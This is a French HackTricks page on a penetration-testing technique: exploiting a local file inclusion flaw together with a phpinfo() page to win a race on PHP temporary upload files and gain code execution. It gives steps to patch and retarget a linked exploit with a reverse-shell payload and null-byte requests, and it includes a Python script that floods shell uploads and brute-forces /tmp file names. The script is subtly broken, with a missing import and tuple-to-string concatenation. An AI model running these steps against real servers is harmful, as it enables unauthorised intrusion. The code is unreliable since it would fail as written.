tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
Pour exploiter cette vulnérabilité, vous avez besoin de : Une vulnérabilité LFI, une page où phpinfo() est affiché, "file_uploads = on" et le serveur doit pouvoir écrire dans le répertoire "/tmp".
https://www.insomniasec.com/downloads/publications/phpinfolfi.py
Tutoriel HTB : https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Vous devez corriger l'exploit (changer => pour =>). Pour ce faire, vous pouvez faire :
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
Vous devez également changer le payload au début de l'exploit (pour un php-rev-shell par exemple), le REQ1 (cela doit pointer vers la page phpinfo et doit inclure le padding, c'est-à-dire : REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), et LFIREQ (cela doit pointer vers la vulnérabilité LFI, c'est-à-dire : LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Vérifiez le double "%" lors de l'exploitation du caractère nul)
Théorie
Si les téléchargements sont autorisés en PHP et que vous essayez de télécharger un fichier, ce fichier est stocké dans un répertoire temporaire jusqu'à ce que le serveur ait terminé de traiter la demande, puis ce fichier temporaire est supprimé.
Ensuite, si vous avez trouvé une vulnérabilité LFI dans le serveur web, vous pouvez essayer de deviner le nom du fichier temporaire créé et exploiter un RCE en accédant au fichier temporaire avant qu'il ne soit supprimé.
Dans Windows, les fichiers sont généralement stockés dans C:\Windows\temp\php
Dans linux, le nom du fichier est généralement aléatoire et situé dans /tmp. Comme le nom est aléatoire, il est nécessaire d'extraire d'une manière ou d'une autre le nom du fichier temporaire et d'y accéder avant qu'il ne soit supprimé. Cela peut être fait en lisant la valeur de la variable $_FILES à l'intérieur du contenu de la fonction "phpconfig()".
phpinfo()
PHP utilise un tampon de 4096B et lorsqu'il est plein, il est envoyé au client. Ensuite, le client peut envoyer beaucoup de grandes requêtes (en utilisant de grands en-têtes) téléchargeant un php reverse shell, attendre que la première partie de phpinfo() soit renvoyée (où le nom du fichier temporaire se trouve) et essayer d'accéder au fichier temporaire avant que le serveur php ne supprime le fichier en exploitant une vulnérabilité LFI.
Script Python pour essayer de brute-forcer le nom (si la longueur = 6)
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.